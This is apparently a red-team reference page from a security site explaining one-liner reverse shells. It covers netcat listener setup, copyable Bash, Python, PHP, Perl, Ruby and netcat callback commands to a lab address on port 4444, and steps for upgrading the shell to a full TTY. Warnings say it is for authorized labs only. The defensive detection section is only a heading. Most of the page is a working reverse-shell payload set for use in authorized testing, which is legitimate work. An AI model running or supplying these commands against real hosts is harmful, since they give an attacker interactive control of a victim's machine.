RED TEAM OPERATIONS//REVERSE SHELLS//LAB REFERENCE//DETECTION & RESPONSE//REVERSE SHELLS//
← RED TEAM TOOLING

CS-08 // RED TEAM TOOLING

ONE LINER REV SHELL

A practical reference to reverse connections in authorized penetration tests and isolated labs. Covers listener setup, common Linux/Windows examples, shell quality, troubleshooting, and defensive telemetry.

RED TEAMLINUX / WINDOWSCOMMANDS COPYABLELAB USE
Authorized use only. Reverse shells provide interactive command execution on a remote host. Use only on systems you own or are explicitly authorized to test. Replace 10.10.14.5 with the reachable address of your lab listener and confirm the port is permitted by the lab network policy. Do not expose listeners to the public internet.

01 / Listener setup

Start the listener on the assessment workstation first. The examples use TCP port 4444; choose an approved port for your lab.

Netcat listener
rlwrap nc -lvnp 4444

Requires Netcat and optionally rlwrap. Some Netcat builds use different listener flags; check nc -h.

Confirm the listening socket
ss -lntp | grep ':4444'

Verify the listener is bound to the intended interface and port before testing the callback.

02 / Linux reverse-shell examples

Use only in a disposable lab where you control both endpoints. These examples launch a shell and connect it back to the listener.

Bash TCP
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

Requires Bash built with /dev/tcp support. Substitute the listener IP and port.

Python 3 TCP
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Useful where Python 3 is installed. A PTY can improve interactivity but does not guarantee full terminal behavior.

PHP CLI TCP
php -r '$s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",[0=>$s,1=>$s,2=>$s],$p);'

Requires PHP CLI and the relevant process/socket functions to be available. Runtime restrictions may prevent execution.

Perl TCP one-liner
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Requires Perl and its Socket module. Perl one-liners can be difficult to quote correctly in nested shells; test the exact command in your lab.

Ruby TCP one-liner
ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Requires Ruby and a Unix-like target with /bin/sh.

Netcat with -e (if supported)
nc -e /bin/sh 10.10.14.5 4444

Not supported by many Netcat builds, including common OpenBSD variants. Check nc -h; do not assume the -e flag exists.

Netcat FIFO fallback
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f

Alternative for lab systems where Netcat lacks -e. Uses a named pipe under /tmp; remove the pipe during cleanup.

Socat listener / PTY option
socat file:$(tty),raw,echo=0 TCP-L:4444

This is a listener-side terminal setup, not a target payload. Use a matching socat TCP client in the isolated lab when testing a PTY-backed session.

03 / Windows considerations

For Windows labs, prefer a controlled framework or a deliberately benign test harness and validate the result against the endpoint's policy. Avoid pasting opaque encoded commands into production systems.

Check PowerShell version
$PSVersionTable.PSVersion

Confirm the runtime before selecting a lab payload or test method.

Inspect Windows Defender status
Get-MpComputerStatus | Select-Object AMServiceEnabled,RealTimeProtectionEnabled,AntivirusEnabled

Read-only defensive context before an authorized detection exercise; cmdlet availability depends on platform and permissions.

04 / TTY and session stability

A raw reverse shell may lack job control, terminal dimensions, and line editing. These commands are for an already-authorized Linux shell session.

Spawn a PTY with Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

Run from the existing shell if Python is installed. This does not create a network connection by itself.

Check terminal settings and dimensions
stty -a

Run this in a normal local terminal to find your current rows and columns.

Upgrading to a Fully Interactive TTY

A basic Netcat shell often has no proper terminal. In an authorized Linux lab, use this sequence to improve line editing, terminal sizing, and interactive program behavior. Run the local-terminal steps on your own assessment workstation, not inside the remote shell.

1 / Spawn a PTY — in the remote shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

This starts Bash attached to a pseudo-terminal if Python 3 is available.

2 / Suspend the remote shell

Press Ctrl + Z to suspend the foreground session and return to your local terminal. This is a keyboard action, not a command to paste.

3 / Set local terminal to raw mode — locally
stty raw -echo; fg

Run on your local box after suspending the shell. If the display looks blank after the session resumes, press Enter.

4 / Configure the terminal — in the remote shell
export TERM=xterm stty rows 38 columns 116

Replace 38 and 116 with your local terminal's actual rows and columns. Get those values with stty -a in a normal local terminal.

This usually gives you a much more usable terminal, but behavior depends on the shell, PTY, and target environment; it is not a guarantee of full native job control. A stable shell is only the starting point for authorized enumeration and privilege-escalation testing. For a next step, see the LinPEAS usage guide.

05 / Troubleshooting checklist

06 / Defensive detection

References & attribution

This original 0x0ps reference selectively adapts common one-liner families and lab workflow from the references below. Pentestmonkey includes Bash, Perl, Python, PHP, Ruby, Netcat, Java and legacy xterm examples; syntax and availability vary by target OS and tool version.

Commands are adapted and selectively rewritten for this site, not copied as a complete payload dump. Verify syntax for your installed tools and keep testing within the written scope of an engagement.

Command copied to clipboard